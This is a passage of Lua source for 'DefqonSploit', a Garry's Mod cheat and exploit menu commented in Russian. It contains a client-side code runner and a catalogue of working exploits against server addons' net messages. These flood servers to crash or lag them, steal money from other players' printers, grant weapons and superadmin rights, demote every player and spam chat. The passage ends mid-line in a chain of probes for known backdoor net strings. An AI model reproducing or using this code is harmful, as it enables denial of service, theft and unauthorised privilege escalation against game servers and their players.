self:GotoErrorLine() end self.ErrorPanel.DoRightClick = function(self) SetClipboardText(self:GetText()) end self.ErrorPanel.Paint = function(self,w,h) surface.SetDrawColor(255,50,50) surface.DrawRect(0,0,w,h) end self:StartHTML() end function PANEL:Think() if self.NextValidate && self.NextValidate < CurTime() then self:ValidateCode() end end function PANEL:StartHTML() self.HTML = self:Add("DHTML") self:AddJavascriptCallback("OnCode") self:AddJavascriptCallback("OnLog") self.HTML:OpenURL(self.URL) self.HTML:RequestFocus() end function PANEL:ReloadHTML() self.HTML:OpenURL(self.URL) end function PANEL:JavascriptSafe(str) str = str:gsub(".",javascript_escape_replacements) str = str:gsub("\226\128\168","\\\226\128\168") str = str:gsub("\226\128\169","\\\226\128\169") return str end function PANEL:CallJS(JS) self.HTML:Call(JS) end function PANEL:AddJavascriptCallback(name) local func = self[name] self.HTML:AddFunction("gmodinterface",name,function(...) func(self,HTML,...) end) end function PANEL:OnCode(_,code) self.NextValidate = CurTime() + 0.2 self.Code = code end function PANEL:OnLog(_,...) Msg("Editor: ") print(...) end function PANEL:SetCode(code) self.Code = code self:CallJS('SetContent("' .. self:JavascriptSafe(code) .. '");') end function PANEL:GetCode() return 'local me=Entity('..LocalPlayer():EntIndex()..') local trace=me:GetEyeTrace() local this,there=trace.Entity,trace.HitPos '..self.Code end function PANEL:SetGutterError(errline,errstr) self:CallJS("SetErr('" .. errline .. "','" .. self:JavascriptSafe(errstr) .. "')") end function PANEL:GotoLine(num) self:CallJS("GotoLine('" .. num .. "')") end function PANEL:ClearGutter() self:CallJS("ClearErr()") end function PANEL:GotoErrorLine() self:GotoLine(self.ErrorLine || 1) end function PANEL:SetError(err) if !IsValid(self.HTML) then self.ErrorPanel:SetText("") self:ClearGutter() return end local tall = 0 if err then local line,err = string.match(err,self.COMPILE .. ":(%d*):(.+)") if line && err then tall = 20 self.ErrorPanel:SetText((line && err) && ("Line " .. line .. ": " .. err) || err || "") self.ErrorLine = tonumber(string.match(err," at line (%d)%)") || line) || 1 self:SetGutterError(self.ErrorLine,err) end else self.ErrorPanel:SetText("") self:ClearGutter() end local wide = self:GetWide() local tallm = self:GetTall() self.ErrorPanel:SetPos(0,tallm - tall) self.ErrorPanel:SetSize(wide,tall) self.HTML:SetSize(wide,tallm - tall) end function PANEL:ValidateCode() local time = SysTime() local code = self:GetCode() self.NextValidate = nil if !code || code == "" then self:SetError() return end local errormsg = CompileString(code,self.COMPILE,false) time = SysTime() - time if type(errormsg) == "string" then self:SetError(errormsg) elseif time > 0.25 then self:SetError("Compiling took too long. (" .. math.Round(time * 1000) .. ")") else self:SetError() end end function PANEL:PerformLayout(w,h) local tall = self.ErrorPanel:GetTall() self.ErrorPanel:SetPos(0,h - tall) self.ErrorPanel:SetSize(w,tall) self.HTML:SetSize(w,h - tall) end vgui.Register("lua_editor",PANEL,"EditablePanel") local menu = vgui.Create('DFrame') menu:SetSize(ScrW()/2,ScrH()/2) menu:SetTitle(' Lua Code | Run On Self') menu:Center() menu:SetSizable(true) menu:MakePopup() menu:ShowCloseButton(false) menu.Paint = function(self,w,h) surface.SetDrawColor(30,30,30) surface.DrawRect(0, 0, w, 25) surface.SetDrawColor(0,0,0) surface.DrawRect(0, 25, w, h-25) end local clos = vgui.Create("DButton", menu) clos:SetSize(40,23) clos:SetText("") clos.Paint = function(self,w,h) surface.SetDrawColor(196,80,80) surface.DrawRect(0,0,w,h) surface.SetFont("marlett") local s,s1 = surface.GetTextSize("r") surface.SetTextPos(w/2-s/2,h/2-s1/2) surface.SetTextColor(255,255,255) surface.DrawText("r") end clos.DoClick = function() menu:SetVisible(!menu:IsVisible()) end local ed = vgui.Create('lua_editor', menu) ed:SetPos(5, 55) menu.PerformLayout = function(self, w, h) clos:SetPos(w-41, 1) ed:SetSize(w-10, h-60) end local offset = 5 local function CreateBtn(wide, text, icon, fn) local mt = Material(icon) local btn = vgui.Create('DButton', menu) btn:SetText('') btn.Paint = function(self,w,h) if self.Hovered then if self.Depressed then surface.SetDrawColor(90,90,90) else surface.SetDrawColor(70,70,70) end else surface.SetDrawColor(40,40,40) end surface.DrawRect(0,0,w,h) surface.SetDrawColor(255,255,255) surface.SetMaterial(mt) surface.DrawTexturedRect(5,h / 2 - 8,16,16) draw.SimpleText(text,'BudgetLabel',26,h / 2,Color(255,255,255),0,1) end btn.DoClick = fn btn:SetSize(wide, 20) btn:SetPos(offset, 30) offset=offset + wide + 5 end -- CreateBtn(130, "Run on server", 'icon16/application_osx_terminal.png', function() -- local code = ed:GetCode() -- net.Start('_da_') -- net.WriteString(code) -- net.WriteUInt(1, 2) -- net.SendToServer() -- end) CreateBtn(115, "Run on self", 'icon16/arrow_down.png', function() local code = ed:GetCode() RunString(code) end) -- CreateBtn(130, "Run on clients", 'icon16/group.png', function() -- local code = ed:GetCode() -- net.Start('_da_') -- net.WriteString(code) -- net.WriteUInt(2, 2) -- net.SendToServer() -- end) -- CreateBtn(125, "Run on player", 'icon16/user.png', function() -- local code = ed:GetCode() -- local m = DermaMenu() -- for k, v in pairs(player.GetAll()) do -- m:AddOption(v:Name(), function() -- net.Start('_da_') -- net.WriteString(code) -- net.WriteUInt(3, 2) -- net.WriteEntity(v) -- net.SendToServer() -- end) -- end -- m:Open() -- end) -- CreateBtn(115, "Get player", 'icon16/pencil.png', function() -- local m = DermaMenu() -- for k, v in pairs(player.GetAll()) do -- m:AddOption(v:Name(), function() -- SetClipboardText('Entity('..v:EntIndex()..')') -- end) -- end -- m:Open() -- end) concommand.Add('editor', function() menu:SetVisible(!menu:IsVisible()) end) iZNX.Menu:Remove() MsgC(Color(255, 155, 55), "Loading end!\n") end ------------------------------------------------------------------------------------------------------------------------------------------------------------ function gui.url() surface.PlaySound("garrysmod/ui_click.wav") gui.OpenURL( "http://discord.gg/hf8GVVS" ) end function iZNX.ChatText( str ) ctext( Color(190, 190, 190), [[ [DefqonSploit v5.1.1]: ]]..str ) end function iZNX.NetStart( str ) local netstart = net.Start if Defqon and Defqon.G and Defqon.G.net then netstart = Defqon.G.net.Start else -- print( "sending netmessage in insecure mode" ) end return netstart( str ) end function iZNX.ValidNetString( str ) local netstart = net.Start if Defqon and Defqon.G and Defqon.G.net then netstart = Defqon.G.net.Start else -- print( "scanning for exploit in insecure mode" ) end local status, error = pcall( netstart, str ) return status end function iZNX.ValidNetString( str ) local status, error = pcall( net.Start, str ) return status end iZNX.sploits = {} local severitycols = { -- Цвет моего мозга [1337] = Color( 255, 0, 0 ), [1] = Color( 33, 33, 33 ), [2] = Color( 33, 33, 33 ), [3] = Color( 33, 33, 33 ), [4] = Color( 33, 33, 33 ), } function iZNX.AddExploit( name, tab ) -- ОДЭДЭ ЭКСПЛОЙТ, FUCK if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end iZNX.sploits[name] = tab end function iZNX.IsStored( addr ) return iZNX.memory[addr] != nil end function iZNX.GetStored( addr, fallback ) if fallback and iZNX.memory[addr] == nil then return fallback end return iZNX.memory[addr] end function iZNX.Store( addr, val ) iZNX.memory[addr] = val end function iZNX.GetAllStored() return iZNX.memory end function iZNX.GetAllStoredData() local ret = {} for k, v in pairs( iZNX.memory ) do if !istable( v ) then ret[k] = v end end return ret end spoofchat = 0 ----------------------------------------------------------------------------- EXPLOITS ------------------------------------------------------------------------------------------------------------------------------------------- --[[ ------------------------------------------------------------------------------------------------------------------------------------ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! NEW SHIT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -----------------------------------------------------------------------------------------------------------------------------------------]] iZNX.AddExploit( "[NEW] Crasher", { desc = "Exploit", severity = 1337, scan = function() return iZNX.ValidNetString( "pac.net.TouchFlexes.ClientNotify" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "crashlol" ) then timer.Create("crashlol", 0, 0, function() for i = 1, 400 do iZNX.NetStart("pac.net.TouchFlexes.ClientNotify") net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13) net.SendToServer() end end) iZNX.ChatText("Начинаем краш") else timer.Remove("crashlol") iZNX.ChatText("Прекращаем краш") end end } } } ) iZNX.AddExploit( "[NEW] € Easy Money €", { desc = "Exploit на деньги", severity = 1337, scan = function() return iZNX.ValidNetString( "ply_pick_shit" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Получаем деньги") for k, v in pairs (player.GetAll()) do for i = 1,255 do iZNX.NetStart("ply_pick_shit") net.WriteEntity(LocalPlayer()) net.WriteEntity(v) net.SendToServer() end end end } } } ) iZNX.AddExploit( "[NEW] Spoof Chat Icon", { desc = "Не серьезный эксплойт, просто фановый. Убирает иконку набирания текста", severity = 1337, scan = function() return iZNX.ValidNetString( "TalkIconChat" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if spoofchat == 0 then hook.Remove('StartChat', 'TalkIcon') iZNX.NetStart("TalkIconChat") net.WriteBool(true) net.SendToServer() spoofchat = 1 iZNX.ChatText("Icon Spoofer включен") else iZNX.NetStart("TalkIconChat") net.WriteBool(false) net.SendToServer() iZNX.ChatText("Icon Spoofer выключен") spoofchat = 0 end end } } } ) iZNX.AddExploit( "[NEW] TFA Lag Exploit", { desc = "Exploit на лаги на сервере, с паком оружия TFA", severity = 1337, scan = function() return iZNX.ValidNetString( "TFA_Attachment_RequestAll" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Начинаем лаги") if !timer.Exists( "tfalags" ) then timer.Create("tfalags", 0, 0, function() for i = 1, 400 do iZNX.NetStart("TFA_Attachment_RequestAll") net.SendToServer() end end ) else timer.Remove("tfalags") iZNX.ChatText("Прекращаем лаги") end end } } } ) iZNX.AddExploit( "Lag Exploit #1", { desc = "Exploit на лаги", severity = 1, scan = function() return iZNX.ValidNetString( "NDES_SelectedEmblem" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Начинаем лаги") if not timer.Exists("lagger10") then timer.Create("lagger10", 0.5, 0, function() for i = 1, 2000 do iZNX.NetStart("NDES_SelectedEmblem") net.WriteString("Seized") net.SendToServer() end end) else timer.Remove("lagger10") iZNX.ChatText("Прекращаем лаги") end end, }, }, } ) iZNX.AddExploit( "Crasher #1", { desc = "Exploit на краш сервера", severity = 1, scan = function() return iZNX.ValidNetString( "Morpheus.StaffTracker" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Крашим") if not timer.Exists("crasher") then timer.Create("crasher", 0.5, 0, function() for i = 1, 2000 do iZNX.NetStart("Morpheus.StaffTracker") net.SendToServer() end end) else timer.Remove("crasher") iZNX.ChatText("Останавливаем краш") end end, }, }, } ) iZNX.AddExploit( "Lag Exploit#2", { desc = "Exploit на лаги", severity = 1, scan = function() return iZNX.ValidNetString( "join_disconnect" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Начинаем лаги") if not timer.Exists("lagglol") then timer.Create("lagglol", 0.5, 0, function() for i = 1, 3000 do iZNX.NetStart("join_disconnect") net.WriteEntity(table.Random(player.GetAll())) net.SendToServer() end end) else timer.Remove("lagglol") iZNX.ChatText("Прекращаем лаги") end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #3", { desc = "Exploit на лаги", severity = 1, scan = function() return iZNX.ValidNetString( "EZS_PlayerTag" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Начинаем лаги") if not timer.Exists("laggslol") then timer.Create("laggslol", 0.5, 0, function() for k, v in pairs(player.GetAll()) do iZNX.NetStart("EZS_PlayerTag") net.WriteEntity(v) net.WriteString("Seized") net.SendToServer() timer.Simple(2, function() iZNX.NetStart("EZS_PlayerTag") net.WriteEntity(v) net.WriteString("Seized") net.SendToServer() end ) end end ) else timer.Remove("laggslol") iZNX.ChatText("Прекращаем лаги") end end } } } ) iZNX.AddExploit( "Remove Spread", { desc = "Exploit убирает разброс", severity = 1, scan = function() return checkcvar end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime") iZNX.ChatText("Разброс убран") end } } } ) iZNX.AddExploit( "Give physgun", { desc = "Получение физгана", severity = 1, scan = function() return iZNX.ValidNetString( "BuyFirstTovar" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("BuyFirstTovar") net.WriteString("0") net.SendToServer() iZNX.ChatText("Получен physgun") end } } } ) iZNX.AddExploit( "Give gravity gun", { desc = "Получение гравити гана", severity = 1, scan = function() return iZNX.ValidNetString( "BuySecondTovar" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("BuySecondTovar") net.WriteString("0") net.SendToServer() iZNX.ChatText("Получен gravity gun") end } } } ) iZNX.AddExploit( "Auto-Heal", { desc = "Exploit на автоматическое лечение", severity = 1, scan = function() return iZNX.ValidNetString( "GiveHealthNPC" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if not autoheal_enable then iZNX.ChatText("AutoHeal - вкл") hook.Add("Think", "RE.CheckHealt", function() if LocalPlayer():Health() < 100 then iZNX.NetStart("GiveHealthNPC") net.WriteString("100") net.SendToServer() end end) autoheal_enable = true else iZNX.ChatText("AutoHeal - выкл") hook.Remove("Think", "RE.CheckHealt") autoheal_enable = false end end } } } ) iZNX.AddExploit( "Unbox System Manipulation Exploit #1", { desc = "Exploit с ключами и кейсами из CSGO", severity = 1, scan = function() return iZNX.ValidNetString( "BuyKey" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Получаем ключ") iZNX.NetStart("BuyKey") net.SendToServer() end } } } ) iZNX.AddExploit( "Unbox System Manipulation Exploit #2", { desc = "Exploit с ключами и кейсами из CSGO", severity = 1, scan = function() return iZNX.ValidNetString( "BuyCrate" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Получаем кейс") iZNX.NetStart("BuyCrate") net.SendToServer() end } } } ) iZNX.AddExploit( "Get Weapon", { desc = "Exploit на получение оружия", severity = 1, scan = function() return iZNX.ValidNetString( "MONEY_SYSTEM_GetWeapons" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Получаем оружие") for i = 1,32 do iZNX.NetStart("MONEY_SYSTEM_GetWeapons") net.WriteInt(i, 8) net.SendToServer() end end } } } ) iZNX.AddExploit( "Demote Exploit", { desc = "Exploit на увольнение всех людей на сервере", severity = 1, scan = function() return iZNX.ValidNetString( "MCon_Demote_ToServer" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Увольняем") for k,v in pairs(player.GetAll()) do iZNX.NetStart("MCon_Demote_ToServer") net.WriteString(v:SteamID()) net.SendToServer() end end } } } ) iZNX.AddExploit( "€ Printers Money Stealer # €", { desc = "Exploit на воровство денег с чужих принтеров", severity = 1, scan = function() return iZNX.ValidNetString( "SyncPrinterButtons16690" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_money" ) then iZNX.ChatText( "Воруем чужие деньги" ) timer.Create( "Defqon_exploit_money", 0.1, 0, function() for k, v in pairs(ents.GetAll()) do if v:GetModel() == "models/props_c17/consolebox01a.mdl" then iZNX.NetStart( "SyncPrinterButtons16690" ) net.WriteEntity(v) net.WriteUInt(2, 4) net.SendToServer() end end end) else timer.Remove( "Defqon_exploit_money" ) iZNX.ChatText( "Прекращаем воровать" ) end end, }, }, } ) iZNX.AddExploit( "€ Derma Printers Money Stealer €", { desc = "Exploit на воровство денег с чужих принтеров", severity = 1, scan = function() return iZNX.ValidNetString( "withdrawp" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText("Воруем - "..#ents.FindByClass("derma_printer").." шт.") for k,v in pairs(ents.FindByClass("derma_printer")) do net.Start("withdrawp") net.WriteEntity(v) net.SendToServer() end end } } } ) iZNX.AddExploit( "€ Money Exploit €", { desc = "DarkRP_SS_Gamble", severity = 1, scan = function() return iZNX.ValidNetString( "DarkRP_SS_Gamble" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "DarkRP_SS_Gamble" ) net.WriteInt(50000, 32) net.WriteInt(1, 32) net.WriteInt(0, 32) net.WriteInt(0, 32) net.WriteInt(1, 32) net.SendToServer() end } } }) iZNX.AddExploit( "TestPromoCode", { desc = "что-то связаное с компами, хз", severity = 1, scan = function() return iZNX.ValidNetString( "PCAdd" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "PCAdd" ) net.WriteString("alahman") net.WriteString("300000000") net.SendToServer() timer.Simple(3,function() iZNX.NetStart("ActivatePC") net.WriteString("alahman") net.SendToServer() iZNX.NetStart("PCDelAll") net.SendToServer() end ) end} } } ) --[[ TO FIX!!! ------------------------------------------------------------------- iZNX.AddExploit( "Disguise/Маскировка #2", { desc = "DarkRP_SS_Gamble", severity = 1, scan = function() return iZNX.ValidNetString( "DarkRP_SS_Gamble" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText( "Тадам" ) end } } }) ----------------------------------------------------------------------------------]] iZNX.AddExploit( "Ulx Console Flood", { desc = "Обычный ulx flood в консоль", severity = 1, scan = function() return ulx end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if ulxflood then hook.Remove("Think", "FloodULX") ulxflood = false else hook.Add("Think", "FloodULX", function() LocalPlayer():ConCommand("_u Seized") end) ulxflood = true end iZNX.ChatText("UlxFlood - "..tostring(ulxflood)) end } } } ) iZNX.AddExploit( "HL2RP Disp", { desc = "Запускает одну голосовую команду, по типу коменданского часа (как в hl2)", severity = 1, scan = function() return iZNX.ValidNetString( "viv_hl2rp_disp_message" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText( "Запускаем" ) for name, command in pairs (dispatchCommands) do iZNX.NetStart("viv_hl2rp_disp_message") net.WriteString(command) net.SendToServer() end end } } } ) iZNX.AddExploit( "HL2RP Disp Flood", { desc = "Запускает много голосовых команд, по типу коменданского часа (как в hl2)", severity = 1, scan = function() return iZNX.ValidNetString( "viv_hl2rp_disp_message" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText( "Flood - on" ) if not timer.Exists("HL2RPFLOOD") then timer.Create("HL2RPFLOOD", 0, 0, function() for name, command in pairs (dispatchCommands) do iZNX.NetStart("viv_hl2rp_disp_message") net.WriteString(command) net.SendToServer() end end ) else timer.Remove("HL2RPFLOOD") iZNX.ChatText( "Flood - off" ) end end } } } ) iZNX.AddExploit( "Easter Egg", { desc = "Находит пасхальное яйцо", severity = 1, scan = function() return iZNX.ValidNetString( "egg" ) end, functions = { { typ = "func", name = "GIVE", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("egg") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Атака нулевого дня #1", { desc = "Вызывает моментальный сбой в работе системы и сервер крашится к чертям", severity = 1, scan = function() return iZNX.ValidNetString( "Sbox_gm_attackofnullday" ) end, functions = { { typ = "func", name = "Начать", func = function() surface.PlaySound("garrysmod/ui_click.wav") RunConsoleCommand("gm_attackofnullday") end, }, }, } ) iZNX.AddExploit( "Атака нулевого дня #2", { desc = "Выдает вам суперадминку", severity = 1, scan = function() return iZNX.ValidNetString( "Sbox_gm_attackofnullday_key" ) end, functions = { { typ = "func", name = "Начать", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.ChatText( "Выдаем админку" ) iZNX.NetStart("Sbox_gm_attackofnullday_key") net.WriteString( "ulx adduser \""..lp:Nick().."\" superadmin" ) net.WriteBit(0) net.SendToServer() RunConsoleCommand("gm_attackofnullday") end, }, }, } ) iZNX.AddExploit( "Toggle TTT Report Bypass", { desc = "TTT Report Bypass", severity = 1, scan = function() return isttt end, functions = { { typ = "func", name = "Начать", func = function() surface.PlaySound("garrysmod/ui_click.wav") if bypass == 0 then hook.Add("Think", "remove_ttt_report", function() local pan = vgui.GetHoveredPanel() CheckChild(pan) end) iZNX.ChatText("Report Bypass включен") bypass = 1 else hook.Remove("Think", "remove_ttt_report") iZNX.ChatText("Report Bypass выключен") bypass = 0 end end } } } ) --[[ ------------------------------------------------------------------------------------------------------------------------------------ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! OLD SHIT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -----------------------------------------------------------------------------------------------------------------------------------------]] iZNX.AddExploit( "€ Customizable Printers Money Stealer €", { desc = "Мгновенно крадет все деньги от каждого принтера на сервере", severity = 3, scan = function() return iZNX.ValidNetString( "SyncPrinterButtons76561198056171650" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_shekels" ) then iZNX.ChatText( "Воруем чужие деньги" ) timer.Create( "Defqon_exploit_shekels", 0.1, 0, function() for k, v in pairs(ents.GetAll()) do if( v:GetClass():find("print") ) then iZNX.NetStart( "SyncPrinterButtons76561198056171650" ) net.WriteEntity(v) net.WriteUInt(2, 4) net.SendToServer() end end end) else timer.Remove( "Defqon_exploit_shekels" ) iZNX.ChatText( "Прекращаем воровать" ) end end, }, }, } ) iZNX.AddExploit( "ULX Friends Spam", { desc = "Спам сообщением на сервере", severity = 1, scan = function() return (iZNX.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end, functions = { { typ = "string", name = "Введите сообщение", default = "FUCK YOU", addr = "fr_spamstring" }, { typ = "players", addr = "fr_players" }, { typ = "func", name = "Big Spam", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "bigspams" ) then iZNX.ChatText( "Начинаем спам" ) timer.Create( "bigspams", 0.5, 0, function() local t = iZNX.GetStored( "fr_players", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end local buyit = {} for i = 1, 15 do table.insert( buyit, iZNX.GetStored( "fr_spamstring", "FUCK YOU" ) ) end iZNX.NetStart( "sendtable" ) net.WriteEntity( v ) net.WriteTable( buyit ) net.SendToServer() end end) else timer.Remove( "bigspams" ) iZNX.ChatText( "Прекращаем спам" ) end end, }, }, } ) iZNX.AddExploit( "Console Error Spammer", { desc = "(Поражение rcon сервера массовыми ошибками)", severity = 1, scan = function() return iZNX.ValidNetString( "steamid2" ) end, functions = { { typ = "func", name = "Big Spam", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_errorz" ) then iZNX.ChatText( "Error спам запущен" ) timer.Create( "Defqon_exploit_errorz", 0.1, 0, function() iZNX.NetStart( "steamid2" ) net.WriteString( "Something is creating very strong script errors" ) net.SendToServer() end) else timer.Remove( "Defqon_exploit_errorz" ) iZNX.ChatText( "Error спам остановлен" ) end end, }, }, } ) iZNX.AddExploit( "Turbo Error Spammer", { desc = "Поражение rcon сервера массовыми ошибками", severity = 2, scan = function() return iZNX.ValidNetString( "steamid2" ) end, functions = { { typ = "func", name = "Big Spam", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_errorzt" ) then iZNX.ChatText( "Error спам запущен" ) timer.Create( "Defqon_exploit_errorzt", 0, 0, function() for i = 1, 100 do iZNX.NetStart( "steamid2" ) net.WriteString( "Something is creating very strong script errors" ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_errorzt" ) iZNX.ChatText( "Error спам остановлен" ) end end, }, }, } ) iZNX.AddExploit( "€ Kun Drug €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "Kun_SellDrug" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_selldrugon" ) then iZNX.ChatText( "Exploit запущен" ) timer.Create( "Defqon_exploit_selldrugon", 0, 0, function() for i=1,1000 do iZNX.NetStart("Kun_SellDrug") net.WriteString("mushroom") net.SendToServer() end end) else timer.Remove( "Defqon_exploit_selldrugon" ) iZNX.ChatText( "Exploit остановлен" ) end end, }, }, } ) iZNX.AddExploit( "Point Shop Unbox", { desc = "Exploit, связанный с аддоном Point Shop", severity = 2, scan = function() return iZNX.ValidNetString( "net_PSUnBoxServer" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(player.GetAll()) do local i = 0 for k2,v2 in pairs(PS.Items) do if !v:PS_HasItem(v2.ID) then timer.Simple(k*i*1.7,function() iZNX.NetStart("net_PSUnBoxServer") net.WriteEntity(v) net.WriteString(v2.ID) net.SendToServer() end) i = i + 1 end end end end, }, }, } ) iZNX.AddExploit( "☢ PatchPlay Give Superadmin ☢", { desc = "Выдача супер админки (нужен перезаход на сервер!)", severity = 1, scan = function() return iZNX.ValidNetString( "pplay_deleterow" ) end, functions = { { typ = "players", addr = "l_superadmins" }, { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_superadmins", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end local id = v:SteamID() local tbl = {} tbl.name = "FAdmin_PlayerGroup" tbl.where = { "steamid", tostring(id) } iZNX.NetStart("pplay_deleterow") net.WriteTable(tbl) net.SendToServer() local tbl = {} tbl.tblname = "FAdmin_PlayerGroup" tbl.tblinfo = { tostring(id), "superadmin" } iZNX.NetStart("pplay_addrow") net.WriteTable(tbl) net.SendToServer() iZNX.ChatText( "Выдана супер админка "..v:Nick() ) end end, }, }, } ) local thefrenchenculer = "" if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then thefrenchenculer = "Sandbox_ArmDupe" else if iZNX.ValidNetString( "Sbox_darkrp" ) then thefrenchenculer = "Sbox_darkrp" else if iZNX.ValidNetString( "Sbox_itemstore" ) then thefrenchenculer = "Sbox_itemstore" else if iZNX.ValidNetString( "Ulib_Message" ) then thefrenchenculer = "Ulib_Message" else if iZNX.ValidNetString( "ULogs_Info" ) then thefrenchenculer = "ULogs_Info" else if iZNX.ValidNetString( "ITEM" ) then thefrenchenculer = "ITEM" else if iZNX.ValidNetString( "fix" ) then thefrenchenculer = "fix" else if iZNX.ValidNetString( "Fix_Keypads" ) then thefrenchenculer = "Fix_Keypads" else if iZNX.ValidNetString( "Remove_Exploiters" ) then thefrenchenculer = "Remove_Exploiters" else if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then thefrenchenculer = "noclipcloakaesp_chat_text" else if iZNX.ValidNetString( "_Defqon" ) then thefrenchenculer = "_Defqon" else if iZNX.ValidNetString( "_CAC_ReadMemory" ) then thefrenchenculer = "_CAC_ReadMemory" else if iZNX.ValidNetString( "nostrip" ) then thefrenchenculer = "nostrip" else if iZNX.ValidNetString( "nocheat" ) then thefrenchenculer = "nocheat" else if iZNX.ValidNetString( "LickMeOut" ) then thefrenchenculer = "LickMeOut" else if iZNX.ValidNetString( "ULX_QUERY2" ) then thefrenchenculer = "ULX_QUERY2" else if iZNX.ValidNetString( "ULXQUERY2" ) then thefrenchenculer = "ULXQUERY2" else if iZNX.ValidNetString( "MoonMan" ) then thefrenchenculer = "MoonMan" else if iZNX.ValidNetString( "Im_SOCool" ) then thefrenchenculer = "Im_SOCool" else if iZNX.ValidNetString( "Sandbox_GayParty" ) then thefrenchenculer = "Sandbox_GayParty" else if iZNX.ValidNetString( "DarkRP_UTF8" ) then thefrenchenculer = "DarkRP_UTF8" else if iZNX.ValidNetString( "oldNetReadData" ) then thefrenchenculer = "oldNetReadData" else if iZNX.ValidNetString( "memeDoor" ) then thefrenchenculer = "memeDoor" else if iZNX.ValidNetString( "BackDoor" ) then thefrenchenculer = "BackDoor" else if iZNX.ValidNetString( "OdiumBackDoor" ) then thefrenchenculer = "OdiumBackDoor" else if iZNX.ValidNetString( "SessionBackdoor" ) then thefrenchenculer = "SessionBackdoor" else if iZNX.ValidNetString( "DarkRP_AdminWeapons" ) then thefrenchenculer = "DarkRP_AdminWeapons" else if iZNX.ValidNetString( "cucked" ) then thefrenchenculer = "cucked" else if iZNX.ValidNetString( "NoNerks" ) then thefrenchenculer = "NoNerks" else if iZNX.ValidNetString( "kek" ) then thefrenchenculer = "kek" else if iZNX.ValidNetString( "ZimbaBackDoor" ) then thefrenchenculer = "ZimbaBackDoor" else if iZNX.ValidNetString( "something" ) then thefrenchenculer = "something" else if iZNX.ValidNetString( "random" ) then thefrenchenculer = "random" else if iZNX.ValidNetString( "strip0" ) then thefrenchenculer = "strip0" else if iZNX.ValidNetString( "fellosnake" ) then thefrenchenculer = "fellosnake" else if iZNX.ValidNetString( "enablevac" 